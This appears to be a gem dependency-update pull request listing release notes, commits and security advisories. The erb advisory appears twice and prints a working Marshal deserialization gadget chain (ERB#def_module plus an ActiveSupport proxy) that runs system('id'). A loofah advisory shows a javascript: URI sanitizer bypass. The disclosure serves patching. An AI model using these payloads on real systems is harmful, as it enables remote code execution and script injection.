10**exponentis computed. (GHSA-6wmf-3r64-vcwv)Moderate: Fixed a scenario in which deeply nested simple blocks or functions could exhaust the Ruby stack and raise
SystemStackError, or could result in excessive memory usage. Parser nesting is now limited to a configurable maximum depth via a new option (:maximum_depth, with a conservative default of 25). Constructs nested more deeply are discarded as an:errornode with the value "maximum-depth-exceeded". (GHSA-6jxj-px6v-747w)Moderate: Fixed a scenario in which a long run of adjacent comments could exhaust the Ruby stack and raise
SystemStackError. Discarded comments are now skipped iteratively rather than recursively. (GHSA-wwpr-jff3-395c)Moderate: Fixed a denial of service vulnerability in which inputs containing many non-ASCII characters could cause excessive CPU usage due to inefficient handling of multi-byte characters during tokenization. (GHSA-8vfg-2r28-hvhj)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 26 commits:
Release 1.0.7Fix inefficient handling of non-ASCII characters during tokenizationPrevent a long run of adjacent comments from exhausting the stackLimit recursion depth to prevent stack overflow and memory exhaustionPrevent resource exhaustion denial of service via excessively large exponentsBump version to 1.0.7Update CI workflow dependenciesUpdate CI test matrixUpgrade minitest and rakeMerge pull request #18 from stoivo/mainUpdate links to point to the targeted versionname Test name look a bit nicerUpgrade minitest to 5.21.1Use actions/checkout@v4Add Ruby 3.2.x to the test matrixMerge pull request #13 from voxik/minitest519Fix compatibility with Minitest 5.19+Remove redundant Ruby 3.2 from the CI matrixAdd Ruby 3.1 and 3.2 to the CI matrix.Remove 1.9.3 and truffleruby from the test matrixReplace Travis with GitHub ActionsReformat readme and historyRemove copyright yearRequire mfaUpgrade dev dependencies🎨
↗️ date (indirect, 3.4.1 → 3.5.1) · Repo · Changelog
Release Notes
3.5.1
What's Changed
- Remove archaic conditions by @nobu in #144
- [DOC] Remove the name from same file references by @nobu in #147
- Call rb_gc_register_mark_object after object allocation by @peterzhu2118 in #149
New Contributors
- @peterzhu2118 made their first contribution in #149
Full Changelog: v3.5.0...v3.5.1
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ erb (indirect, 5.0.2 → 6.0.6) · Repo · Changelog
Security Advisories 🚨
🚨 ERB has an @_init deserialization guard bypass via def_module / def_method / def_class
Summary
Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an
@_initinstance variable guard inERB#resultandERB#runto prevent code execution when an ERB object is reconstructed viaMarshal.load(deserialization). However, three other public methods that also evaluate@srcviaeval()were not given the same guard:
ERB#def_methodERB#def_moduleERB#def_classAn attacker who can trigger
Marshal.loadon untrusted data in a Ruby application that haserbloaded can useERB#def_module(zero-arg, default parameters) as a code execution sink, bypassing the@_initprotection entirely.Details
The @_init Guard
In
ERB#initialize, the guard is set:# erb.rb line 838 @_init = self.class.singleton_classIn
ERB#resultandERB#run, the guard is checked beforeeval(@src):# erb.rb line 1008-1012 def result(b=new_toplevel) unless @_init.equal?(self.class.singleton_class) raise ArgumentError, "not initialized" end eval(@src, b, (@filename || '(erb)'), @lineno) endWhen an ERB object is reconstructed via
Marshal.load,@_initis eithernil(not set during marshal reconstruction) or an attacker-controlled value. SinceERB.singleton_classcannot be marshaled, the attacker cannot set@_initto the correct value, andresult/runcorrectly refuse to execute.The Bypass
ERB#def_method,ERB#def_module, andERB#def_classall reacheval(@src)without checking@_init:# erb.rb line 1088-1093 def def_method(mod, methodname, fname='(ERB)') src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n" mod.module_eval do eval(src, binding, fname, -1) # <-- no @_init check end end # erb.rb line 1113-1117 def def_module(methodname='erb') # <-- zero-arg call possible mod = Module.new def_method(mod, methodname, @filename || '(ERB)') mod end # erb.rb line 1170-1174 def def_class(superklass=Object, methodname='result') # <-- zero-arg call possible cls = Class.new(superklass) def_method(cls, methodname, @filename || '(ERB)') cls end
def_moduleanddef_classaccept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.Method wrapper breakout
def_methodwraps@srcin a method definition:"def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting@srcto begin withend\n, the attacker closes the method definition early. Code after the firstendexecutes immediately atmodule_evaltime:# Attacker sets @src = "end\nsystem('id')\ndef x" # After def_method transformation, module_eval receives: # # def erb # end # system('id') <- executes at eval time # def x # end
Proof of Concept
Minimal (ERB only)
require 'erb' erb = ERB.allocate erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x") erb.instance_variable_set(:@lineno, 0) # ERB#result correctly blocks this: begin erb.result rescue ArgumentError => e puts "result: #{e.message} (blocked by @_init -- correct)" end # ERB#def_module does NOT block this -- executes system('id'): erb.def_module # Output: uid=0(root) gid=0(root) groups=0(root)Marshal deserialization (ERB + ActiveSupport)
When combined with
ActiveSupport::Deprecation::DeprecatedInstanceVariableProxyas a method dispatch gadget, this achieves RCE viaMarshal.load:require 'active_support' require 'active_support/deprecation' require 'active_support/deprecation/proxy_wrappers' require 'erb' # --- Build payload (replace proxy class for marshaling) --- real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy) class ActiveSupport::Deprecation class DeprecatedInstanceVariableProxy def initialize(h) h.each { |k, v| instance_variable_set(k, v) } end end end erb = ERB.allocate erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x") erb.instance_variable_set(:@lineno, 0) erb.instance_variable_set(:@filename, nil) proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({ :@instance => erb, :@method => :def_module, :@var => "@x", :@deprecator => Kernel }) marshaled = Marshal.dump({proxy => 0}) # --- Restore real class and trigger --- ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy) ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class) # This triggers RCE: Marshal.load(marshaled) # Output: uid=0(root) gid=0(root) groups=0(root)Chain:
Marshal.loadreconstructs a Hash with aDeprecatedInstanceVariableProxyas key- Hash key insertion calls
.hashon the proxy.hashis undefined ->method_missing(:hash)-> dispatches toERB#def_moduledef_module->def_method->module_eval(eval(src))-> breakout ->system('id')Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1
Impact
Scope
Any Ruby application that calls
Marshal.loadon untrusted data AND has botherbandactivesupportloaded is vulnerable to arbitrary code execution. This includes:
- Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
- Ruby tools that import untrusted serialized data -- any tool using
Marshal.loadfor caching, data import, or IPC- Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization
Severity justification
The
@_initguard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. Thedef_modulebypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.
Details
Gadget chain history
Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:
Year Chain Mitigated in 2018 Gem::Requirement (Luke Jahnke) RubyGems 3.0 2021 UDG -- TarReader+WriteAdapter (vakzz) RubyGems 3.1 2022 Gem::Specification._load (vakzz) RubyGems 3.6 2024 UncaughtThrowError (Luke Jahnke) Ruby 3.4 patches 2024 Gem::Source::Git#rev_parse RubyGems 3.6 2026 ERB#def_module @_init bypass ERB 6.0.4 Patches
The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.
- ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4
Details
Add the
@_initcheck todef_method. Sincedef_moduleanddef_classboth delegate todef_method, this single change covers all three bypass paths:def def_method(mod, methodname, fname='(ERB)') unless @_init.equal?(self.class.singleton_class) raise ArgumentError, "not initialized" end src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n" mod.module_eval do eval(src, binding, fname, -1) end end
🚨 ERB has an @_init deserialization guard bypass via def_module / def_method / def_class
Summary
Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an
@_initinstance variable guard inERB#resultandERB#runto prevent code execution when an ERB object is reconstructed viaMarshal.load(deserialization). However, three other public methods that also evaluate@srcviaeval()were not given the same guard:
ERB#def_methodERB#def_moduleERB#def_classAn attacker who can trigger
Marshal.loadon untrusted data in a Ruby application that haserbloaded can useERB#def_module(zero-arg, default parameters) as a code execution sink, bypassing the@_initprotection entirely.Details
The @_init Guard
In
ERB#initialize, the guard is set:# erb.rb line 838 @_init = self.class.singleton_classIn
ERB#resultandERB#run, the guard is checked beforeeval(@src):# erb.rb line 1008-1012 def result(b=new_toplevel) unless @_init.equal?(self.class.singleton_class) raise ArgumentError, "not initialized" end eval(@src, b, (@filename || '(erb)'), @lineno) endWhen an ERB object is reconstructed via
Marshal.load,@_initis eithernil(not set during marshal reconstruction) or an attacker-controlled value. SinceERB.singleton_classcannot be marshaled, the attacker cannot set@_initto the correct value, andresult/runcorrectly refuse to execute.The Bypass
ERB#def_method,ERB#def_module, andERB#def_classall reacheval(@src)without checking@_init:# erb.rb line 1088-1093 def def_method(mod, methodname, fname='(ERB)') src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n" mod.module_eval do eval(src, binding, fname, -1) # <-- no @_init check end end # erb.rb line 1113-1117 def def_module(methodname='erb') # <-- zero-arg call possible mod = Module.new def_method(mod, methodname, @filename || '(ERB)') mod end # erb.rb line 1170-1174 def def_class(superklass=Object, methodname='result') # <-- zero-arg call possible cls = Class.new(superklass) def_method(cls, methodname, @filename || '(ERB)') cls end
def_moduleanddef_classaccept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.Method wrapper breakout
def_methodwraps@srcin a method definition:"def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting@srcto begin withend\n, the attacker closes the method definition early. Code after the firstendexecutes immediately atmodule_evaltime:# Attacker sets @src = "end\nsystem('id')\ndef x" # After def_method transformation, module_eval receives: # # def erb # end # system('id') <- executes at eval time # def x # end
Proof of Concept
Minimal (ERB only)
require 'erb' erb = ERB.allocate erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x") erb.instance_variable_set(:@lineno, 0) # ERB#result correctly blocks this: begin erb.result rescue ArgumentError => e puts "result: #{e.message} (blocked by @_init -- correct)" end # ERB#def_module does NOT block this -- executes system('id'): erb.def_module # Output: uid=0(root) gid=0(root) groups=0(root)Marshal deserialization (ERB + ActiveSupport)
When combined with
ActiveSupport::Deprecation::DeprecatedInstanceVariableProxyas a method dispatch gadget, this achieves RCE viaMarshal.load:require 'active_support' require 'active_support/deprecation' require 'active_support/deprecation/proxy_wrappers' require 'erb' # --- Build payload (replace proxy class for marshaling) --- real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy) class ActiveSupport::Deprecation class DeprecatedInstanceVariableProxy def initialize(h) h.each { |k, v| instance_variable_set(k, v) } end end end erb = ERB.allocate erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x") erb.instance_variable_set(:@lineno, 0) erb.instance_variable_set(:@filename, nil) proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({ :@instance => erb, :@method => :def_module, :@var => "@x", :@deprecator => Kernel }) marshaled = Marshal.dump({proxy => 0}) # --- Restore real class and trigger --- ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy) ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class) # This triggers RCE: Marshal.load(marshaled) # Output: uid=0(root) gid=0(root) groups=0(root)Chain:
Marshal.loadreconstructs a Hash with aDeprecatedInstanceVariableProxyas key- Hash key insertion calls
.hashon the proxy.hashis undefined ->method_missing(:hash)-> dispatches toERB#def_moduledef_module->def_method->module_eval(eval(src))-> breakout ->system('id')Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1
Impact
Scope
Any Ruby application that calls
Marshal.loadon untrusted data AND has botherbandactivesupportloaded is vulnerable to arbitrary code execution. This includes:
- Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
- Ruby tools that import untrusted serialized data -- any tool using
Marshal.loadfor caching, data import, or IPC- Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization
Severity justification
The
@_initguard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. Thedef_modulebypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.
Details
Gadget chain history
Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:
Year Chain Mitigated in 2018 Gem::Requirement (Luke Jahnke) RubyGems 3.0 2021 UDG -- TarReader+WriteAdapter (vakzz) RubyGems 3.1 2022 Gem::Specification._load (vakzz) RubyGems 3.6 2024 UncaughtThrowError (Luke Jahnke) Ruby 3.4 patches 2024 Gem::Source::Git#rev_parse RubyGems 3.6 2026 ERB#def_module @_init bypass ERB 6.0.4 Patches
The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.
- ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4
Details
Add the
@_initcheck todef_method. Sincedef_moduleanddef_classboth delegate todef_method, this single change covers all three bypass paths:def def_method(mod, methodname, fname='(ERB)') unless @_init.equal?(self.class.singleton_class) raise ArgumentError, "not initialized" end src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n" mod.module_eval do eval(src, binding, fname, -1) end end
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ globalid (indirect, 1.2.1 → 1.4.0) · Repo · Changelog
Release Notes
1.4.0
What's Changed
- Add
GlobalID::Locator.fetchwith distinct not-found and unavailable errors by @rosa in #206- Change the underlying URI parser (from RFC2396 to RFC3986) by @Drowze in #202
- Don't try to constantize GID's class too soon by @paulRbr in #204
- Allow custom locators to override model class by @xijo in #203
New Contributors
- @rosa made their first contribution in #206
- @Drowze made their first contribution in #202
- @paulRbr made their first contribution in #204
- @xijo made their first contribution in #203
Full Changelog: v1.3.0...v1.4.0
1.3.0
What's Changed
- Set required ruby version to 2.7.0 and up by @risen in #169
- Keep using URI RFC2396 parser by @voxik in #192
- Make
DEFAULT_LOCATORConfigurable by @heka1024 in #179New Contributors
- @risen made their first contribution in #169
- @biow0lf made their first contribution in #167
- @duffuniverse made their first contribution in #180
- @berkos made their first contribution in #170
- @elia made their first contribution in #195
- @Earlopain made their first contribution in #188
- @stevenharman made their first contribution in #173
- @voxik made their first contribution in #192
- @m-nakamura145 made their first contribution in #175
- @heka1024 made their first contribution in #179
- @tylerwillingham made their first contribution in #200
Full Changelog: v1.2.1...v1.3.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 51 commits:
Release 1.4.0Frozen string literalsMerge pull request #203 from xijo/support_model_class_override_for_custom_locatorsAllow custom locators to override model class derivationMerge pull request #204 from paulRbr/dont-constantize-model-when-not-neededDon't try to constantize GID's class too soonMerge pull request #202 from Drowze/swappable-uri-parserChange the underlying URI parser (from RFC2396 to RFC3986)Merge pull request #206 from rosa/fetchAdd `GlobalID::Locator.fetch` with distinct not-found and unavailable errorsMerge pull request #207 from byroot/fix-ciUpdate CI matrixAdd minitest-mock in GemfileProperly require rails in the RailtiePrepare for 1.3.0Remove deprecation messageFix testUpgrade development dependenciesAdd release workflowMerge pull request #200 from tylerwillingham/twilling/locate-arity-warning-fixResolve deprecation warning around #locate arity for custom locator testMerge pull request #179 from heka1024/configurable-base-locatorMerge pull request #198 from Earlopain/uri-parser-memoMove uri parser to constantMerge pull request #197 from voxik/rails8-ruby34Fix `cache_format` for Rails 8Add Rails 8.0.x and Ruby 3.4.x to ci matrixMerge pull request #175 from m-nakamura145/update-actions-checkoutMerge pull request #183 from olleolleolle/patch-2Merge pull request #192 from voxik/ruby-3.4Keep using URI RFC2396 parserMerge pull request #173 from stevenharman/typos_and_formattingFix a typo and normalize formattingUpdate devcontainer configurationMerge pull request #193 from alexcwatt/fix-spelling-modelMerge pull request #188 from Earlopain/gemspec-metadataMerge pull request #195 from elia/elia/fix-ciRails main now requires ruby 3.2ActiveSupport::LoggerThreadSafeLevel needs Logger in older Rails versionsFix spelling of model in a few commentsAdd a bit of metadata to the gemspecMake `default_locator` as configurableMerge pull request #170 from berkos/add-rails-7.1-to-ci-matrix[docs] Fix typo in method names in code exampleMerge pull request #180 from duffuniverse/fix-typos-in-readmeFix a few typos in readmeAdd Rails 7.1.x and Ruby 3.3.x to ci matrixBump actions/checkoutMerge pull request #167 from biow0lf/patch-1Merge pull request #169 from risen/mainSet required ruby version to 2.7.0 and up
↗️ i18n (indirect, 1.14.7 → 1.15.2) · Repo · Changelog
Release Notes
1.15.2
What's Changed
Full Changelog: v1.15.1...v1.15.2
1.15.1
What's Changed
- Fix feature fiber storage by @YashaVinter in #736
- Ignore Ruby 3.2 + Rails main from the matrix by @radar in #737
New Contributors
- @YashaVinter made their first contribution in #736
Full Changelog: v1.15.0...v1.15.1
1.15.0
What's Changed
- Make lazy loading of I18n translations thread safe ( part 2 ) by @chaadow in #729
- Add support to not replace non-ASCII chars not in map by @sobrinho in #720
- Add transliteration for O with ogonek by @radar in #733
- CI: exclude Ruby 3.2 from rails-main matrix by @radar in #734
- Fiber-aware I18n config storage by @lee266 in #731
New Contributors
Full Changelog: v1.14.8...v1.15.0
1.14.8
Full Changelog: v1.14.7...v1.14.8
What's Changed
- Remove unused
cgirequire for Ruby 3.5 compatibility by @Earlopain in #713- Explicitly require
pathnameby @voxik in #708- CI: Add Ruby 3.4 to CI Matrix by @taketo1113 in #722
- Fix: I18n.locale reset in Fiber context by using Thread#thread_variable by @lee266 in #724
- CI: Use actions/checkout@v5 by @olleolleolle in #721
- Fix compatibility with
--enable-frozen-string-literalby @byroot in #726New Contributors
- @Earlopain made their first contribution in #713
- @taketo1113 made their first contribution in #722
- @lee266 made their first contribution in #724
- @byroot made their first contribution in #726
Full Changelog: v1.14.7...v1.14.8
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 45 commits:
Bump to 1.15.2Merge pull request #739 from koic/restore_ruby_3_1_supportRestore Ruby 3.1 supportBump to 1.15.1Merge pull request #737 from ruby-i18n/ignore-ruby32-rails-mainIgnore Ruby 3.2 + Rails main from the matrixMerge pull request #736 from YashaVinter/fix-feature-fiber-storageTest against Ruby 3.2fix https://github.com/ruby-i18n/i18n/issues/735 NoMethodError: undefined method [] for Fiber:ClassBump to 1.15.0Merge pull request #731 from lee266/feature/fiber-storageremove 3.2 builds from ruby.ymlMerge branch 'master' into feature/fiber-storageSupport Ruby >= 3.1Merge pull request #734 from ruby-i18n/ci-drop-ruby-3.2-rails-mainMerge pull request #733 from ruby-i18n/transliterate-o-ogonekCI: exclude Ruby 3.2 from rails-main matrixMerge pull request #720 from sobrinho/sobrinho/add-none-replacementAdd transliteration for O with ogonekfeat: require Ruby 3.2+ and simplify Fiber-based config storagechore: temp fixfeat(config): add immutable config updates with freezefeat: add owner-based CoW for Fiber-stored configfeat: add basic Fiber-backed I18n config storageMerge pull request #729 from chaadow/patch-1Make lazy loading of I18n translations thread safe ( part 2 )Bump to 1.14.9Merge pull request #726 from byroot/fstr-compatMerge branch 'master' into fstr-compatRemove testing for EOL Rubies 3.1 + 3.0Merge remote-tracking branch 'olleolleolle/patch-1'Merge pull request #724 from lee266/fix/i18n-locale-thread-variableFix compatibility with `--enable-frozen-string-literal`Merge pull request #722 from taketo1113/ci-ruby-3.4CI: Fix rails version specification in gemfiles to run with the specified minor versionCI: Add ruby 3.4 to CI Matrixfix: I18n.locale reset in Fiber context by using Thread#thread_variable_{get,set}Delete gemfiles/Gemfile.rails-6.1.xDelete gemfiles/Gemfile.rails-6.0.xCI: Omit the 6.x versions of RailsCI: Use actions/checkout@v5Add support to not replace non-ASCII chars not in mapMerge pull request #708 from voxik/add-require-pathnameMerge pull request #713 from Earlopain/cgi-ruby-3.5Remove unused `cgi` require
↗️ io-console (indirect, 0.8.1 → 0.8.2) · Repo · Changelog
Release Notes
0.8.2
What's Changed
- Bump step-security/harden-runner from 2.12.2 to 2.13.0 by @dependabot[bot] in #98
- Bump actions/checkout from 4 to 5 by @dependabot[bot] in #99
- Bump step-security/harden-runner from 2.13.0 to 2.13.1 by @dependabot[bot] in #101
- Add a workflow to sync commits to ruby/ruby by @k0kubun in #102
- Reorder dispatching by host_os by @nobu in #103
- Bump actions/upload-artifact from 4 to 5 by @dependabot[bot] in #104
- Bump rubygems/release-gem from 1.1.1 to 1.1.2 by @dependabot[bot] in #106
- Bump step-security/harden-runner from 2.13.1 to 2.13.2 by @dependabot[bot] in #108
- Bump actions/checkout from 5 to 6 by @dependabot[bot] in #109
- Bump step-security/harden-runner from 2.13.2 to 2.13.3 by @dependabot[bot] in #110
- fix set winsize on windows by @YO4 in #111
New Contributors
Full Changelog: v0.8.1...v0.8.2
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 20 commits:
bump up to 0.8.2[ci skip] wipstrip trailing spaces [ci skip]console_cursor_pos respects scroll position on windowsconsole_goto respects scroll position on windowsavoid jumping scroll position when winsize changedRemove useless rb_check_arity() callBump step-security/harden-runner from 2.13.2 to 2.13.3 (#110)Bump actions/checkout from 5 to 6 (#109)Bump step-security/harden-runner from 2.13.1 to 2.13.2 (#108)Bump rubygems/release-gem from 1.1.1 to 1.1.2Bump actions/upload-artifact from 4 to 5 (#104)CI: limit execution time of `test`CI: truffleruby-head seems stable nowAdd rdoc dependencyReorder dispatching by host_osAdd a workflow to sync commits to ruby/ruby (#102)Bump step-security/harden-runner from 2.13.0 to 2.13.1 (#101)Bump actions/checkout from 4 to 5 (#99)Bump step-security/harden-runner from 2.12.2 to 2.13.0 (#98)
↗️ irb (indirect, 1.15.2 → 1.18.0) · Repo · Changelog
Release Notes
1.18.0
What's Changed
✨ Enhancements
- Completely migrate to prism by @tompng in #1160
- Suppress error highlight for some incomplete code by @tompng in #1173
- Display command description in doc dialog on tab completion by @st0012 in #1180
- Add startup banner with Ruby logo, version info, and tips by @st0012 in #1183
- Highlight the method name in method calls by @shugo in #1189
- Add --nobanner option to suppress startup banner by @st0012 in #1200
🐛 Bug Fixes
- Make ls command work for BasicObjects by @eikes in #1177
- Fix IRB crash when typing string literal with control/meta sequence by @tompng in #1182
- Wait for pager to terminate by @tompng in #1192
- Fix incorrect dash in startup message by @st0012 in #1206
- Colorize KEYWORD_DO_BLOCK (added in head Prism) by @tompng in #1207
🛠 Other Changes
- Silence
default_externalwarning in tests by @Earlopain in #1172- Ruby >= 4.1.0 allows trailing comma in method signature by @eikes in #1178
- Fix display_document test fails in tty environment by @tompng in #1185
- Use Prism::ParseResult#continuable? if possible by @tompng in #1184
- Do not open nesting for character literals by @shugo in #1190
- Fix random EPIPE failure in SIGINT restore tests by @k0kubun in #1191
- Bump version to 1.18.0 by @st0012 in #1208
New Contributors
- @Earlopain made their first contribution in #1172
- @eikes made their first contribution in #1178
- @shugo made their first contribution in #1190
Full Changelog: v1.17.0...v1.18.0
1.17.0
What's Changed
🐛 Bug Fixes
- Support copy command on windows and wsl by @hogelog in #1153
- Fix incorrect history handling in nested session with debug.gem by @st0012 in #1158
- Treat frame.path as nilable in frame filtering by @st0012 in #1161
🛠 Other Changes
- Exclude dependabot updates from release note by @hsbt in #1151
- Fix test_rendering flaky pager test by @tompng in #1152
- Syntax Highlight using Prism by @tompng in #1091
- Nesting analysis using Prism by @tompng in #1092
- Add missing keyword to colorize by @tompng in #1163
- Stop pointing rbs to git source by @st0012 in #1165
- Support slices change in Prism by @tompng in #1168
- Bump version to 1.17.0 by @st0012 in #1169
- Skip tests that are failing on TruffleRuby by @st0012 in #1170
Full Changelog: v1.16.0...v1.17.0
1.16.0
What's Changed
✨ Enhancements
🐛 Bug Fixes
- Avoid creating method objects unnecessarily when distinguishing between commands and statements. by @tompng in #1138
- Show-source should not raise error even if line_no is wrong by @tompng in #1145
🛠 Other Changes
- Pin power_assert to v2 for Ruby 2.7 (v3 requires 3.1+) by @ima1zumi in #1135
- Revert " Pin power_assert to v2 for Ruby 2.7 (v3 requires 3.1+)" by @ima1zumi in #1136
- Bump step-security/harden-runner from 2.13.1 to 2.13.2 by @dependabot[bot] in #1137
- Change platform mswin to nil by @ima1zumi in #1139
- update test to check for UTF16LE/BE by @alexanderadam in #1132
- Correct usage for -w. It turns ON warnings, not OFF. by @zenspider in #1141
- Bump actions/checkout from 5 to 6 by @dependabot[bot] in #1143
- Bump actions/checkout from 5.0.1 to 6.0.0 by @dependabot[bot] in #1144
- Update rc-files documentation by @eval in #1113
- Bump step-security/harden-runner from 2.13.2 to 2.13.3 by @dependabot[bot] in #1147
- Bump actions/checkout from 6.0.0 to 6.0.1 by @dependabot[bot] in #1146
- call Thread.pass just after Thread.stop by @ko1 in #1148
- Bump step-security/harden-runner from 2.13.3 to 2.14.0 by @dependabot[bot] in #1149
- Bump version to 1.16.0 by @tompng in #1150
New Contributors
- @zenspider made their first contribution in #1141
- @ko1 made their first contribution in #1148
Full Changelog: v1.15.3...v1.16.0
1.15.3
What's Changed
✨ Enhancements
- Remove all internal frames from a backtrace by @mame in #1106
- Improve prompt generating performance by caching prompt parts(%m, %M) by @tompng in #1127
- Do not save consecutive duplicate commands to history by @topalovic in #1120
🐛 Bug Fixes
- Handle keyword local variables correctly by @tompng in #1085
- Fix nil error on debugger prompt by @muno92 in #1097
- Fix methods defined with invalid encoding are not displayed in completion by @ksaito422 in #1101
- Fix show_source command when obj.method is overrided by @tompng in #1111
- Reset IOGate.set_winch_handler when dancing ruby easter-egg terminates by @tompng in #1124
- Fix UTF-16 autocompletion by @alexanderadam in #1129
📚 Documentation
- [DOC] Fix link by @BurdetteLamar in #1112
🛠 Other Changes
- Avoid intermediate array from split by @Maumagnaguagno in #1093
- Replace gsub with rstrip by @Maumagnaguagno in #1095
- Prefer filter_map and map+grep instead of map+compact and select+map by @Maumagnaguagno in #1094
- Enabled trusted publisher for rubygems.org by @hsbt in #1100
- fix typos and wording on sigint section of docs by @Stevo-S in #1104
- Bump step-security/harden-runner from 2.12.0 to 2.12.1 by @dependabot[bot] in #1105
- Bump step-security/harden-runner from 2.12.1 to 2.12.2 by @dependabot[bot] in #1108
- Bump step-security/harden-runner from 2.12.2 to 2.13.0 by @dependabot[bot] in #1109
- Gemfile: add github dependency on rbs by @olleolleolle in #1117
- Bump actions/checkout from 4 to 5 by @dependabot[bot] in #1116
- Bump actions/upload-pages-artifact from 3 to 4 by @dependabot[bot] in #1119
- Bump step-security/harden-runner from 2.13.0 to 2.13.1 by @dependabot[bot] in #1121
- [DOC] Include document files in the generated gem file by @nobu in #1098
- Bump integration test's timeout on CI to 30s by @st0012 in #1122
- Fix prompt cache flaky test by @tompng in #1130
- Bump rubygems/release-gem from 1.1.1 to 1.1.2 by @dependabot[bot] in #1131
- Easter-egg Use endless range instead of step by @RicardoTrindade in #1123
- Bump version to 1.15.3 by @tompng in #1134
New Contributors
- @muno92 made their first contribution in #1097
- @Stevo-S made their first contribution in #1104
- @ksaito422 made their first contribution in #1101
- @alexanderadam made their first contribution in #1129
- @topalovic made their first contribution in #1120
Full Changelog: v1.15.2...v1.15.3
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ loofah (indirect, 2.24.1 → 2.25.2) · Repo · Changelog
Security Advisories 🚨
🚨 Loofah `allowed_uri?` does not detect `javascript:` URIs split by named whitespace character references
Summary
Loofah::HTML5::Scrub.allowed_uri?does not correctly rejectjavascript:URIs when the scheme is split or prefixed by the HTML5 named character references	(tab) or
(line feed).This is a bypass of the fix for GHSA-46fp-8f5p-pf2m, which handled the equivalent numeric character references (
	, , ) but did not cover the named forms.Details
allowed_uri?decodes HTML entities withCGI.unescapeHTML, which handles numeric character references but not HTML5 named character references. Payloads likejava	script:alert(1)are therefore left intact, so the method does not recognize thejavascript:scheme and returnstrue. A browser, however, decodes	and
to tab and line feed and strips them from the URL during parsing, producingjavascript:alert(1).
	and
are the only relevant named character references: across the HTML5 named-character table, they are the only two that decode to characters the WHATWG URL parser strips from a URL (U+0009 and U+000A; there is no named reference for U+000D). / decode to U+00A0, which browsers do not strip, so they aren't usable for this bypass.Note that Loofah's default
sanitize()path is not affected, because Nokogiri decodes or entity-escapes HTML entities during parsing before Loofah evaluates the URI protocol. This issue only affects callers of the publicallowed_uri?string-level helper that pass it HTML-encoded strings.Impact
Callers that validate a user-controlled URL with
